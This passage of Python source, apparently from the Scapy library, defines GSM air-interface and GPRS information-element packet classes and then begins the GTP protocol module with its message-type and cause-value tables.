ByteField("facilityInfo208", None), ByteField("facilityInfo209", None), ByteField("facilityInfo210", None), ByteField("facilityInfo211", None), ByteField("facilityInfo212", None), ByteField("facilityInfo213", None), ByteField("facilityInfo214", None), ByteField("facilityInfo215", None), ByteField("facilityInfo216", None), ByteField("facilityInfo217", None), ByteField("facilityInfo218", None), ByteField("facilityInfo219", None), ByteField("facilityInfo220", None), ByteField("facilityInfo221", None), ByteField("facilityInfo222", None), ByteField("facilityInfo223", None), ByteField("facilityInfo224", None), ByteField("facilityInfo225", None), ByteField("facilityInfo226", None), ByteField("facilityInfo227", None), ByteField("facilityInfo228", None), ByteField("facilityInfo229", None), ByteField("facilityInfo230", None), ByteField("facilityInfo231", None), ByteField("facilityInfo232", None), ByteField("facilityInfo233", None), ByteField("facilityInfo234", None), ByteField("facilityInfo235", None), ByteField("facilityInfo236", None), ByteField("facilityInfo237", None), ByteField("facilityInfo238", None), ByteField("facilityInfo239", None), ByteField("facilityInfo240", None), ByteField("facilityInfo241", None), ByteField("facilityInfo242", None), ByteField("facilityInfo243", None), ByteField("facilityInfo244", None), ByteField("facilityInfo245", None), ByteField("facilityInfo246", None), ByteField("facilityInfo247", None), ByteField("facilityInfo248", None), ByteField("facilityInfo249", None) ] def post_build(self, p, pay): aList = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) a = [] for i in aList: a.append(getattr(self, i)) res = adapt(7, 250, a, self.fields_desc, 1) if self.lengthF is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay #len 2 to 5 class HighLayerCompatibility(Packet): """High layer compatibility Section 10.5.4.16""" name = "High Layer Compatibility" fields_desc = [ XByteField("lengthHLC", None), # optional BitField("ext", None, 1), BitField("codingStd", None, 2), BitField("interpret", None, 3), BitField("presMeth", None, 2), BitField("ext1", None, 1), BitField("highLayerId", None, 7), ConditionalField(BitField("ext2", 0x1, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("exHiLayerId", 0x0, 7), lambda pkt: pkt.ext1 == 0), ] def post_build(self, p, pay): aList = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) a = [] for i in aList: a.append(getattr(self, i)) res = adapt(1, 4, a, self.fields_desc, 1) if res[0] is not 0: p = p[:-res[0]] if self.lengthHLC is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay # # 10.5.4.16.1 Static conditions for the high layer # compatibility IE contents # class KeypadFacility(Packet): """Keypad facility Section 10.5.4.17""" name = "Keypad Facility" fields_desc = [ BitField("spare", 0x0, 1), BitField("keyPadInfo", 0x0, 7) ] # len 2 to 15 class LowLayerCompatibility(Packet): """Low layer compatibility Section 10.5.4.18""" name = "Low Layer Compatibility" fields_desc = [ XByteField("lengthLLC", None), # optional ByteField("rest0", None), ByteField("rest1", None), ByteField("rest2", None), ByteField("rest3", None), ByteField("rest4", None), ByteField("rest5", None), ByteField("rest6", None), ByteField("rest7", None), ByteField("rest8", None), ByteField("rest9", None), ByteField("rest10", None), ByteField("rest11", None), ByteField("rest12", None) ] def post_build(self, p, pay): aList = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) a = [] for i in aList: a.append(getattr(self, i)) res = adapt(1, 14, a, self.fields_desc, 1) if self.lengthLLC is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay class MoreData(Packet): """More data Section 10.5.4.19""" name = "More Data" fields_desc = [ ] class NotificationIndicator(Packet): """Notification indicator Section 10.5.4.20""" name = "Notification Indicator" fields_desc = [ BitField("ext1", 0x1, 1), BitField("notifDesc", 0x0, 7) ] class ProgressIndicator(Packet): """Progress indicator Section 10.5.4.21""" name = "Progress Indicator" fields_desc = [ XByteField("lengthPI", 0x2), BitField("ext", 0x1, 1), BitField("codingStd", 0x0, 2), BitField("spare", 0x0, 1), BitField("location", 0x0, 4), BitField("ext1", 0x1, 1), BitField("progressDesc", 0x0, 7) ] class RecallType(Packet): """Recall type $(CCBS)$ Section 10.5.4.21a""" name = "Recall Type $(CCBS)$" fields_desc = [ BitField("spare", 0x0, 5), BitField("recallType", 0x0, 3) ] # len 3 to 19 class RedirectingPartyBcdNumber(Packet): """Redirecting party BCD number Section 10.5.4.21b""" name = "Redirecting Party BCD Number" fields_desc = [ XByteField("lengthRPBN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("numberingPlan", 0x0, 4), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("presId", 0x0, 2), lambda pkt: pkt.ext == 0), ConditionalField(BitField("spare", 0x0, 3), lambda pkt: pkt.ext == 0), ConditionalField(BitField("screenId", 0x0, 2), lambda pkt: pkt.ext == 0), BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4), BitField("nbDigit22", None, 4), BitField("nbDigit21", None, 4), BitField("nbDigit24", None, 4), BitField("nbDigit23", None, 4), BitField("nbDigit26", None, 4), BitField("nbDigit25", None, 4), BitField("nbDigit28", None, 4), BitField("nbDigit27", None, 4), BitField("nbDigit30", None, 4), BitField("nbDigit29", None, 4), ] def post_build(self, p, pay): aList = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) a = [] for i in aList: a.append(getattr(self, i)) res = adapt(2, 18, a, self.fields_desc, 1) if res[0] is not 0: p = p[:-res[0]] if self.lengthRPBN is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay # length 2 to 23 class RedirectingPartySubaddress(Packet): """Redirecting party subaddress Section 10.5.4.21c""" name = "Redirecting Party BCD Number" fields_desc = [ XByteField("lengthRPS", None), # optional BitField("ext", None, 1), BitField("typeSub", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): aList = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) a = [] for i in aList: a.append(getattr(self, i)) res = adapt(1, 22, a, self.fields_desc, 1) if self.lengthRPS is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay class RepeatIndicator(Packet): """Repeat indicator Section 10.5.4.22""" name = "Repeat Indicator" fields_desc = [ BitField("repeatIndic", 0x0, 4) ] # no upper length min 2(max for L3) (251) class SetupContainer(Packet): """SETUP Container $(CCBS)$ Section 10.5.4.22b""" name = "Setup Container $(CCBS)$" fields_desc = [ XByteField("lengthSC", None), # optional ByteField("mess1", None), ByteField("mess2", None), ByteField("mess3", None), ByteField("mess4", None), ByteField("mess5", None), ByteField("mess6", None), ByteField("mess7", None), ByteField("mess8", None), ByteField("mess9", None), ByteField("mess10", None), ByteField("mess11", None), ByteField("mess12", None), ByteField("mess13", None), ByteField("mess14", None), ByteField("mess15", None), ByteField("mess16", None), ByteField("mess17", None), ByteField("mess18", None), ByteField("mess19", None), ByteField("mess20", None), ByteField("mess21", None), ByteField("mess22", None), ByteField("mess23", None), ByteField("mess24", None), ByteField("mess25", None), ByteField("mess26", None), ByteField("mess27", None), ByteField("mess28", None), ByteField("mess29", None), ByteField("mess30", None), ByteField("mess31", None), ByteField("mess32", None), ByteField("mess33", None), ByteField("mess34", None), ByteField("mess35", None), ByteField("mess36", None), ByteField("mess37", None), ByteField("mess38", None), ByteField("mess39", None), ByteField("mess40", None), ByteField("mess41", None), ByteField("mess42", None), ByteField("mess43", None), ByteField("mess44", None), ByteField("mess45", None), ByteField("mess46", None), ByteField("mess47", None), ByteField("mess48", None), ByteField("mess49", None), ByteField("mess50", None), ByteField("mess51", None), ByteField("mess52", None), ByteField("mess53", None), ByteField("mess54", None), ByteField("mess55", None), ByteField("mess56", None), ByteField("mess57", None), ByteField("mess58", None), ByteField("mess59", None), ByteField("mess60", None), ByteField("mess61", None), ByteField("mess62", None), ByteField("mess63", None), ByteField("mess64", None), ByteField("mess65", None), ByteField("mess66", None), ByteField("mess67", None), ByteField("mess68", None), ByteField("mess69", None), ByteField("mess70", None), ByteField("mess71", None), ByteField("mess72", None), ByteField("mess73", None), ByteField("mess74", None), ByteField("mess75", None), ByteField("mess76", None), ByteField("mess77", None), ByteField("mess78", None), ByteField("mess79", None), ByteField("mess80", None), ByteField("mess81", None), ByteField("mess82", None), ByteField("mess83", None), ByteField("mess84", None), ByteField("mess85", None), ByteField("mess86", None), ByteField("mess87", None), ByteField("mess88", None), ByteField("mess89", None), ByteField("mess90", None), ByteField("mess91", None), ByteField("mess92", None), ByteField("mess93", None), ByteField("mess94", None), ByteField("mess95", None), ByteField("mess96", None), ByteField("mess97", None), ByteField("mess98", None), ByteField("mess99", None), ByteField("mess100", None), ByteField("mess101", None), ByteField("mess102", None), ByteField("mess103", None), ByteField("mess104", None), ByteField("mess105", None), ByteField("mess106", None), ByteField("mess107", None), ByteField("mess108", None), ByteField("mess109", None), ByteField("mess110", None), ByteField("mess111", None), ByteField("mess112", None), ByteField("mess113", None), ByteField("mess114", None), ByteField("mess115", None), ByteField("mess116", None), ByteField("mess117", None), ByteField("mess118", None), ByteField("mess119", None), ByteField("mess120", None), ByteField("mess121", None), ByteField("mess122", None), ByteField("mess123", None), ByteField("mess124", None), ByteField("mess125", None), ByteField("mess126", None), ByteField("mess127", None), ByteField("mess128", None), ByteField("mess129", None), ByteField("mess130", None), ByteField("mess131", None), ByteField("mess132", None), ByteField("mess133", None), ByteField("mess134", None), ByteField("mess135", None), ByteField("mess136", None), ByteField("mess137", None), ByteField("mess138", None), ByteField("mess139", None), ByteField("mess140", None), ByteField("mess141", None), ByteField("mess142", None), ByteField("mess143", None), ByteField("mess144", None), ByteField("mess145", None), ByteField("mess146", None), ByteField("mess147", None), ByteField("mess148", None), ByteField("mess149", None), ByteField("mess150", None), ByteField("mess151", None), ByteField("mess152", None), ByteField("mess153", None), ByteField("mess154", None), ByteField("mess155", None), ByteField("mess156", None), ByteField("mess157", None), ByteField("mess158", None), ByteField("mess159", None), ByteField("mess160", None), ByteField("mess161", None), ByteField("mess162", None), ByteField("mess163", None), ByteField("mess164", None), ByteField("mess165", None), ByteField("mess166", None), ByteField("mess167", None), ByteField("mess168", None), ByteField("mess169", None), ByteField("mess170", None), ByteField("mess171", None), ByteField("mess172", None), ByteField("mess173", None), ByteField("mess174", None), ByteField("mess175", None), ByteField("mess176", None), ByteField("mess177", None), ByteField("mess178", None), ByteField("mess179", None), ByteField("mess180", None), ByteField("mess181", None), ByteField("mess182", None), ByteField("mess183", None), ByteField("mess184", None), ByteField("mess185", None), ByteField("mess186", None), ByteField("mess187", None), ByteField("mess188", None), ByteField("mess189", None), ByteField("mess190", None), ByteField("mess191", None), ByteField("mess192", None), ByteField("mess193", None), ByteField("mess194", None), ByteField("mess195", None), ByteField("mess196", None), ByteField("mess197", None), ByteField("mess198", None), ByteField("mess199", None), ByteField("mess200", None), ByteField("mess201", None), ByteField("mess202", None), ByteField("mess203", None), ByteField("mess204", None), ByteField("mess205", None), ByteField("mess206", None), ByteField("mess207", None), ByteField("mess208", None), ByteField("mess209", None), ByteField("mess210", None), ByteField("mess211", None), ByteField("mess212", None), ByteField("mess213", None), ByteField("mess214", None), ByteField("mess215", None), ByteField("mess216", None), ByteField("mess217", None), ByteField("mess218", None), ByteField("mess219", None), ByteField("mess220", None), ByteField("mess221", None), ByteField("mess222", None), ByteField("mess223", None), ByteField("mess224", None), ByteField("mess225", None), ByteField("mess226", None), ByteField("mess227", None), ByteField("mess228", None), ByteField("mess229", None), ByteField("mess230", None), ByteField("mess231", None), ByteField("mess232", None), ByteField("mess233", None), ByteField("mess234", None), ByteField("mess235", None), ByteField("mess236", None), ByteField("mess237", None), ByteField("mess238", None), ByteField("mess239", None), ByteField("mess240", None), ByteField("mess241", None), ByteField("mess242", None), ByteField("mess243", None), ByteField("mess244", None), ByteField("mess245", None), ByteField("mess246", None), ByteField("mess247", None), ByteField("mess248", None), ByteField("mess249", None), ] def post_build(self, p, pay): aList = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) a = [] for i in aList: a.append(getattr(self, i)) res = adapt(1, 250, a, self.fields_desc, 1) if self.lengthSC is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay class Signal(Packet): """Signal Section 10.5.4.23""" name = "Signal" fields_desc = [ ByteField("sigValue", 0x0) ] # length 2 to max for L3 message (251) class SsVersionIndicator(Packet): """SS Version Indicator Section 10.5.4.24""" name = "SS Version Indicator" fields_desc = [ XByteField("lengthSVI", None), # optional ByteField("info1", None), ByteField("info2", None), ByteField("info3", None), ByteField("info4", None), ByteField("info5", None), ByteField("info6", None), ByteField("info7", None), ByteField("info8", None), ByteField("info9", None), ByteField("info10", None), ByteField("info11", None), ByteField("info12", None), ByteField("info13", None), ByteField("info14", None), ByteField("info15", None), ByteField("info16", None), ByteField("info17", None), ByteField("info18", None), ByteField("info19", None), ByteField("info20", None), ByteField("info21", None), ByteField("info22", None), ByteField("info23", None), ByteField("info24", None), ByteField("info25", None), ByteField("info26", None), ByteField("info27", None), ByteField("info28", None), ByteField("info29", None), ByteField("info30", None), ByteField("info31", None), ByteField("info32", None), ByteField("info33", None), ByteField("info34", None), ByteField("info35", None), ByteField("info36", None), ByteField("info37", None), ByteField("info38", None), ByteField("info39", None), ByteField("info40", None), ByteField("info41", None), ByteField("info42", None), ByteField("info43", None), ByteField("info44", None), ByteField("info45", None), ByteField("info46", None), ByteField("info47", None), ByteField("info48", None), ByteField("info49", None), ByteField("info50", None), ByteField("info51", None), ByteField("info52", None), ByteField("info53", None), ByteField("info54", None), ByteField("info55", None), ByteField("info56", None), ByteField("info57", None), ByteField("info58", None), ByteField("info59", None), ByteField("info60", None), ByteField("info61", None), ByteField("info62", None), ByteField("info63", None), ByteField("info64", None), ByteField("info65", None), ByteField("info66", None), ByteField("info67", None), ByteField("info68", None), ByteField("info69", None), ByteField("info70", None), ByteField("info71", None), ByteField("info72", None), ByteField("info73", None), ByteField("info74", None), ByteField("info75", None), ByteField("info76", None), ByteField("info77", None), ByteField("info78", None), ByteField("info79", None), ByteField("info80", None), ByteField("info81", None), ByteField("info82", None), ByteField("info83", None), ByteField("info84", None), ByteField("info85", None), ByteField("info86", None), ByteField("info87", None), ByteField("info88", None), ByteField("info89", None), ByteField("info90", None), ByteField("info91", None), ByteField("info92", None), ByteField("info93", None), ByteField("info94", None), ByteField("info95", None), ByteField("info96", None), ByteField("info97", None), ByteField("info98", None), ByteField("info99", None), ByteField("info100", None), ByteField("info101", None), ByteField("info102", None), ByteField("info103", None), ByteField("info104", None), ByteField("info105", None), ByteField("info106", None), ByteField("info107", None), ByteField("info108", None), ByteField("info109", None), ByteField("info110", None), ByteField("info111", None), ByteField("info112", None), ByteField("info113", None), ByteField("info114", None), ByteField("info115", None), ByteField("info116", None), ByteField("info117", None), ByteField("info118", None), ByteField("info119", None), ByteField("info120", None), ByteField("info121", None), ByteField("info122", None), ByteField("info123", None), ByteField("info124", None), ByteField("info125", None), ByteField("info126", None), ByteField("info127", None), ByteField("info128", None), ByteField("info129", None), ByteField("info130", None), ByteField("info131", None), ByteField("info132", None), ByteField("info133", None), ByteField("info134", None), ByteField("info135", None), ByteField("info136", None), ByteField("info137", None), ByteField("info138", None), ByteField("info139", None), ByteField("info140", None), ByteField("info141", None), ByteField("info142", None), ByteField("info143", None), ByteField("info144", None), ByteField("info145", None), ByteField("info146", None), ByteField("info147", None), ByteField("info148", None), ByteField("info149", None), ByteField("info150", None), ByteField("info151", None), ByteField("info152", None), ByteField("info153", None), ByteField("info154", None), ByteField("info155", None), ByteField("info156", None), ByteField("info157", None), ByteField("info158", None), ByteField("info159", None), ByteField("info160", None), ByteField("info161", None), ByteField("info162", None), ByteField("info163", None), ByteField("info164", None), ByteField("info165", None), ByteField("info166", None), ByteField("info167", None), ByteField("info168", None), ByteField("info169", None), ByteField("info170", None), ByteField("info171", None), ByteField("info172", None), ByteField("info173", None), ByteField("info174", None), ByteField("info175", None), ByteField("info176", None), ByteField("info177", None), ByteField("info178", None), ByteField("info179", None), ByteField("info180", None), ByteField("info181", None), ByteField("info182", None), ByteField("info183", None), ByteField("info184", None), ByteField("info185", None), ByteField("info186", None), ByteField("info187", None), ByteField("info188", None), ByteField("info189", None), ByteField("info190", None), ByteField("info191", None), ByteField("info192", None), ByteField("info193", None), ByteField("info194", None), ByteField("info195", None), ByteField("info196", None), ByteField("info197", None), ByteField("info198", None), ByteField("info199", None), ByteField("info200", None), ByteField("info201", None), ByteField("info202", None), ByteField("info203", None), ByteField("info204", None), ByteField("info205", None), ByteField("info206", None), ByteField("info207", None), ByteField("info208", None), ByteField("info209", None), ByteField("info210", None), ByteField("info211", None), ByteField("info212", None), ByteField("info213", None), ByteField("info214", None), ByteField("info215", None), ByteField("info216", None), ByteField("info217", None), ByteField("info218", None), ByteField("info219", None), ByteField("info220", None), ByteField("info221", None), ByteField("info222", None), ByteField("info223", None), ByteField("info224", None), ByteField("info225", None), ByteField("info226", None), ByteField("info227", None), ByteField("info228", None), ByteField("info229", None), ByteField("info230", None), ByteField("info231", None), ByteField("info232", None), ByteField("info233", None), ByteField("info234", None), ByteField("info235", None), ByteField("info236", None), ByteField("info237", None), ByteField("info238", None), ByteField("info239", None), ByteField("info240", None), ByteField("info241", None), ByteField("info242", None), ByteField("info243", None), ByteField("info244", None), ByteField("info245", None), ByteField("info246", None), ByteField("info247", None), ByteField("info248", None), ByteField("info249", None), ] def post_build(self, p, pay): aList = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) a = [] for i in aList: a.append(getattr(self, i)) res = adapt(1, 250, a, self.fields_desc, 1) if self.lengthSVI is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay # length 3 to 35 or 131 class UserUser(Packet): """User-user Section 10.5.4.25""" name = "User-User" fields_desc = [ XByteField("lengthUU", None), # dynamic length of field depending # of the type of message # let user decide which length he # wants to take # => more fuzzing options ByteField("userUserPD", 0x0), # optional ByteField("userUserInfo1", None), ByteField("userUserInfo2", None), ByteField("userUserInfo3", None), ByteField("userUserInfo4", None), ByteField("userUserInfo5", None), ByteField("userUserInfo6", None), ByteField("userUserInfo7", None), ByteField("userUserInfo8", None), ByteField("userUserInfo9", None), ByteField("userUserInfo10", None), ByteField("userUserInfo11", None), ByteField("userUserInfo12", None), ByteField("userUserInfo13", None), ByteField("userUserInfo14", None), ByteField("userUserInfo15", None), ByteField("userUserInfo16", None), ByteField("userUserInfo17", None), ByteField("userUserInfo18", None), ByteField("userUserInfo19", None), ByteField("userUserInfo20", None), ByteField("userUserInfo21", None), ByteField("userUserInfo22", None), ByteField("userUserInfo23", None), ByteField("userUserInfo24", None), ByteField("userUserInfo25", None), ByteField("userUserInfo26", None), ByteField("userUserInfo27", None), ByteField("userUserInfo28", None), ByteField("userUserInfo29", None), ByteField("userUserInfo30", None), ByteField("userUserInfo31", None), ByteField("userUserInfo32", None), # long packet ByteField("userUserInfo33", None), ByteField("userUserInfo34", None), ByteField("userUserInfo35", None), ByteField("userUserInfo36", None), ByteField("userUserInfo37", None), ByteField("userUserInfo38", None), ByteField("userUserInfo39", None), ByteField("userUserInfo40", None), ByteField("userUserInfo41", None), ByteField("userUserInfo42", None), ByteField("userUserInfo43", None), ByteField("userUserInfo44", None), ByteField("userUserInfo45", None), ByteField("userUserInfo46", None), ByteField("userUserInfo47", None), ByteField("userUserInfo48", None), ByteField("userUserInfo49", None), ByteField("userUserInfo50", None), ByteField("userUserInfo51", None), ByteField("userUserInfo52", None), ByteField("userUserInfo53", None), ByteField("userUserInfo54", None), ByteField("userUserInfo55", None), ByteField("userUserInfo56", None), ByteField("userUserInfo57", None), ByteField("userUserInfo58", None), ByteField("userUserInfo59", None), ByteField("userUserInfo60", None), ByteField("userUserInfo61", None), ByteField("userUserInfo62", None), ByteField("userUserInfo63", None), ByteField("userUserInfo64", None), ByteField("userUserInfo65", None), ByteField("userUserInfo66", None), ByteField("userUserInfo67", None), ByteField("userUserInfo68", None), ByteField("userUserInfo69", None), ByteField("userUserInfo70", None), ByteField("userUserInfo71", None), ByteField("userUserInfo72", None), ByteField("userUserInfo73", None), ByteField("userUserInfo74", None), ByteField("userUserInfo75", None), ByteField("userUserInfo76", None), ByteField("userUserInfo77", None), ByteField("userUserInfo78", None), ByteField("userUserInfo79", None), ByteField("userUserInfo80", None), ByteField("userUserInfo81", None), ByteField("userUserInfo82", None), ByteField("userUserInfo83", None), ByteField("userUserInfo84", None), ByteField("userUserInfo85", None), ByteField("userUserInfo86", None), ByteField("userUserInfo87", None), ByteField("userUserInfo88", None), ByteField("userUserInfo89", None), ByteField("userUserInfo90", None), ByteField("userUserInfo91", None), ByteField("userUserInfo92", None), ByteField("userUserInfo93", None), ByteField("userUserInfo94", None), ByteField("userUserInfo95", None), ByteField("userUserInfo96", None), ByteField("userUserInfo97", None), ByteField("userUserInfo98", None), ByteField("userUserInfo99", None), ByteField("userUserInfo100", None), ByteField("userUserInfo101", None), ByteField("userUserInfo102", None), ByteField("userUserInfo103", None), ByteField("userUserInfo104", None), ByteField("userUserInfo105", None), ByteField("userUserInfo106", None), ByteField("userUserInfo107", None), ByteField("userUserInfo108", None), ByteField("userUserInfo109", None), ByteField("userUserInfo110", None), ByteField("userUserInfo111", None), ByteField("userUserInfo112", None), ByteField("userUserInfo113", None), ByteField("userUserInfo114", None), ByteField("userUserInfo115", None), ByteField("userUserInfo116", None), ByteField("userUserInfo117", None), ByteField("userUserInfo118", None), ByteField("userUserInfo119", None), ByteField("userUserInfo120", None), ByteField("userUserInfo121", None), ByteField("userUserInfo122", None), ByteField("userUserInfo123", None), ByteField("userUserInfo124", None), ByteField("userUserInfo125", None), ByteField("userUserInfo126", None), ByteField("userUserInfo127", None), ByteField("userUserInfo128", None), ByteField("userUserInfo129", None), ByteField("userUserInfo130", None), ByteField("userUserInfo131", None) ] def post_build(self, p, pay): aList = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) a = [] for i in aList: a.append(getattr(self, i)) res = adapt(2, 133, a, self.fields_desc, 1) if self.lengthUU is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay class AlertingPattern(Packet): """Alerting Pattern 10.5.4.26""" name = "Alerting Pattern" fields_desc = [ XByteField("lengthAP", 0x3), BitField("spare", 0x0, 4), BitField("alertingValue", 0x0, 4) ] class AllowedActions(Packet): """Allowed actions $(CCBS)$ Section 10.5.4.26""" name = "Allowed Actions $(CCBS)$" fields_desc = [ XByteField("lengthAP", 0x3), BitField("CCBS", 0x0, 1), BitField("spare", 0x0, 7) ] # # 10.5.5 GPRS mobility management information elements # class AttachType(Packet): """Attach type Section 10.5.5.2""" name = "Attach Type" fields_desc = [ BitField("spare", 0x0, 1), BitField("type", 0x1, 3) ] if __name__ == "__main__": interact(mydict=globals(), mybanner="Scapy GSM-UM (Air) Addon") scapy-0.23/scapy/contrib/gtp.py000066400000000000000000000512601320561231000164750ustar00rootroot00000000000000#! /usr/bin/env python ## Copyright (C) 2014 Guillaume Valadon ## 2014 Alexis Sultan ## 2012 ffranz ## ## This program is published under a GPLv2 license # scapy.contrib.description = GTP # scapy.contrib.status = loads import time import logging from scapy.packet import * from scapy.fields import * from scapy.layers.inet import IP, UDP # GTP Data types GTPmessageType = { 1: "echo_request", 2: "echo_response", 16: "create_pdp_context_req", 17: "create_pdp_context_res", 20: "delete_pdp_context_req", 21: "delete_pdp_context_res", 26: "error_indication", 27: "pdu_notification_req", 255: "gtp_u_header" } IEType = { 1: "Cause", 2: "IMSI", 3: "RAI", 4: "TLLI", 5: "P_TMSI", 14: "Recovery", 15: "SelectionMode", 16: "TEIDI", 17: "TEICP", 19: "TeardownInd", 20: "NSAPI", 26: "ChargingChrt", 27: "TraceReference", 28: "TraceType", 128: "EndUserAddress", 131: "AccessPointName", 132: "ProtocolConfigurationOptions", 133: "GSNAddress", 134: "MSInternationalNumber", 135: "QoS", 148: "CommonFlags", 151: "RatType", 152: "UserLocationInformation", 153: "MSTimeZone", 154: "IMEI" } CauseValues = { 0: "Request IMSI", 1: "Request IMEI", 2: "Request IMSI and IMEI", 3: "No identity needed", 4: "MS Refuses", 5: "MS is not GPRS Responding", 128: "Request accepted", 129: "New PDP type due to network preference", 130: "New PDP type due to single address bearer only", 192: "Non-existent", 193: "Invalid message format", 194: "IMSI not known", 195: "MS is GPRS Detached", 196: "MS is not GPRS Responding", 197: "MS Refuses", 198: "Version not supported", 199: "No resources available", 200: "Service not supported", 201: "Mandatory IE incorrect", 202: "Mandatory IE missing", 203: "Optional IE incorrect", 204: "System failure", 205: "Roaming restriction", 206: "P-TMSI Signature mismatch", 207: "GPRS connection suspended", 208: "Authentication failure", 209: "User authentication failed", 210: "Context not found", 211: "All dynamic PDP addresses are occupied", 212: "No memory is available", 213: "Reallocation failure", 214: "Unknown mandatory extension header", 215: "Semantic error in the TFT operation", 216: "Syntactic error in TFT operation", 217: "Semantic errors in packet filter(s)", 218: "Syntactic errors in packet filter(s)", 219: "Missing or unknown APN", 220: "Unknown PDP address or PDP type", 221: "PDP context without TFT already activated", 222: "APN access denied : no subscription", 223: "APN Restriction type incompatibility with currently active PDP Contexts", 224: "MS MBMS Capabilities Insufficient", 225: "Invalid Correlation : ID", 226: "MBMS Bearer Context Superseded", 227: "Bearer Control Mode violation", 228: "Collision with network initiated request" } Selection_Mode = { 11111100: "MS or APN", 11111101: "MS", 11111110: "NET", 11111111: "FutureUse" } TeardownInd_value = { 254: "False", 255: "True" } class TBCDByteField(StrFixedLenField): def i2h(self, pkt, val): ret = [] for i in range(len(val)): byte = ord(val[i]) left = byte >> 4 right = byte & 0xF if left == 0xF: ret += [ "%d" % right ] else: ret += [ "%d" % right, "%d" % left ] return "".join(ret) def i2repr(self, pkt, x): return repr(self.i2h(pkt,x)) def i2m(self, pkt, val): ret_string = "" for i in range(0, len(val), 2): tmp = val[i:i+2] if len(tmp) == 2: ret_string += chr(int(tmp[1] + tmp[0], 16)) else: ret_string += chr(int("F" + tmp[0], 16)) return ret_string class GTPHeader(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Header" fields_desc=[ BitField("version", 1, 3), BitField("PT", 1, 1), BitField("reserved", 0, 1), BitField("E", 0, 1), BitField("S", 1, 1), BitField("PN", 0, 1), ByteEnumField("gtp_type", None, GTPmessageType), ShortField("length", None), IntField("teid", 0) ] def post_build(self, p, pay): p += pay if self.length is None: l = len(p)-8 p = p[:2] + struct.pack("!H", l)+ p[4:] return p def hashret(self): return struct.pack("B", self.version) + self.payload.hashret() def answers(self, other): return (isinstance(other, GTPHeader) and self.version == other.version and self.payload.answers(other.payload)) class GTPEchoRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Echo Request" fields_desc = [ XBitField("seq", 0, 16), ByteField("npdu", 0), ByteField("next_ex", 0),] def hashret(self): return struct.pack("H", self.seq) class IE_Cause(Packet): name = "Cause" fields_desc = [ ByteEnumField("ietype", 1, IEType), BitField("Response", None, 1), BitField("Rejection", None, 1), BitEnumField("CauseValue", None, 6, CauseValues) ] def extract_padding(self, pkt): return "",pkt class IE_IMSI(Packet): name = "IMSI - Subscriber identity of the MS" fields_desc = [ ByteEnumField("ietype", 2, IEType), TBCDByteField("imsi", str(RandNum(0, 999999999999999)), 8) ] def extract_padding(self, pkt): return "",pkt class IE_Routing(Packet): name = "Routing Area Identity" fields_desc = [ ByteEnumField("ietype", 3, IEType), TBCDByteField("MCC", "", 2), # MNC: if the third digit of MCC is 0xf, then the length of MNC is 1 byte TBCDByteField("MNC", "", 1), ShortField("LAC", None), ByteField("RAC", None) ] def extract_padding(self, pkt): return "",pkt class IE_Recovery(Packet): name = "Recovery" fields_desc = [ ByteEnumField("ietype", 14, IEType), ByteField("res-counter", 24) ] def extract_padding(self, pkt): return "",pkt class IE_SelectionMode(Packet): # Indicates the origin of the APN in the message name = "Selection Mode" fields_desc = [ ByteEnumField("ietype", 15, IEType), BitEnumField("SelectionMode", "MS or APN", 8, Selection_Mode) ] def extract_padding(self, pkt): return "",pkt class IE_TEIDI(Packet): name = "Tunnel Endpoint Identifier Data" fields_desc = [ ByteEnumField("ietype", 16, IEType), XIntField("TEIDI", RandInt()) ] def extract_padding(self, pkt): return "",pkt class IE_TEICP(Packet): name = "Tunnel Endpoint Identifier Control Plane" fields_desc = [ ByteEnumField("ietype", 17, IEType), XIntField("TEICI", RandInt())] def extract_padding(self, pkt): return "",pkt class IE_Teardown(Packet): name = "Teardown Indicator" fields_desc = [ 